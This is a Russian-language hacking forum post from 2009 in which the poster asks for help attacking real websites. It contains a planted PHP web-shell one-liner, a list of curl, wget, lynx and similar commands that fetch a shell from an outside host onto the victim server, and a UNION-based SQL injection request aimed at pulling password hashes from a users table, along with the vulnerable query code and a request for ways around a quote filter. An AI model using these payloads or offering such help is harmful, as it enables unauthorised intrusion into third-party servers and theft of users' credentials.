Показать сообщение отдельно

  #3  
Старый 10.02.2009, 09:58
downloader
Новичок
Регистрация: 12.09.2008
Сообщений: 13
Провел на форуме:
170978

Репутация: 1
По умолчанию

есть пару вапросов:

1) вот я залил один файл в каторым ноходица
Код:
<? system($_GET[c]) ?>
я пробавал залить шелл через этот варянт таким путём:

Код:
curl --output /papka/na/servere/shell.php http://site.com/shell.php
wget -o /papka/na/servere/shell.php http://site.com/shell.php
get http://site.com/shell.php > /papka/na/servere/shell.php
links -source "http://site.com/shell.php" > /papka/na/servere/shell.php
lynx -source http://site.com/shell.php > /papka/na/servere/shell.php
fetch -o /papka/na/servere/shell.php http://site.com/shell.php
но не залился... может есть какие нибудь команды чтобы ишё как нибудь залить шелл? или проста скачять все файлы каторые есть в DOCUMENT_ROOT ???

2) я нашол одну дыру в одном сайте, пасматрел в моём кампе у меня есть такой же файл... ну вот и сам файл:

Код:
$requestid = $_GET["requestid"];
$res = mysql_query("SELECT userid, filledby FROM requests WHERE id =$requestid") or sqlerr();
 $arr = mysql_fetch_assoc($res);
if (($CURUSER[id] == $arr[userid]) || (get_user_class() >= 4) || ($CURUSER[id] == $arr[filledby]))
{
 @mysql_query("UPDATE requests SET filled='', filledby=0 WHERE id =$requestid") or sqlerr();
 print("Request $requestid successfully reset.");
}
else
 print("Sorry, cannot reset a request when you are not the owner");
делаю запрос на том сайте:
Код:
reqreset.php?requestid=-1'+union+select+passhash+from+users+--+
передомной ошибка в sql:
Код:
SQL Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' passhash from users --' at line 1
помойму тамо сидит фильтр на кавачикй...
 
Ответить с цитированием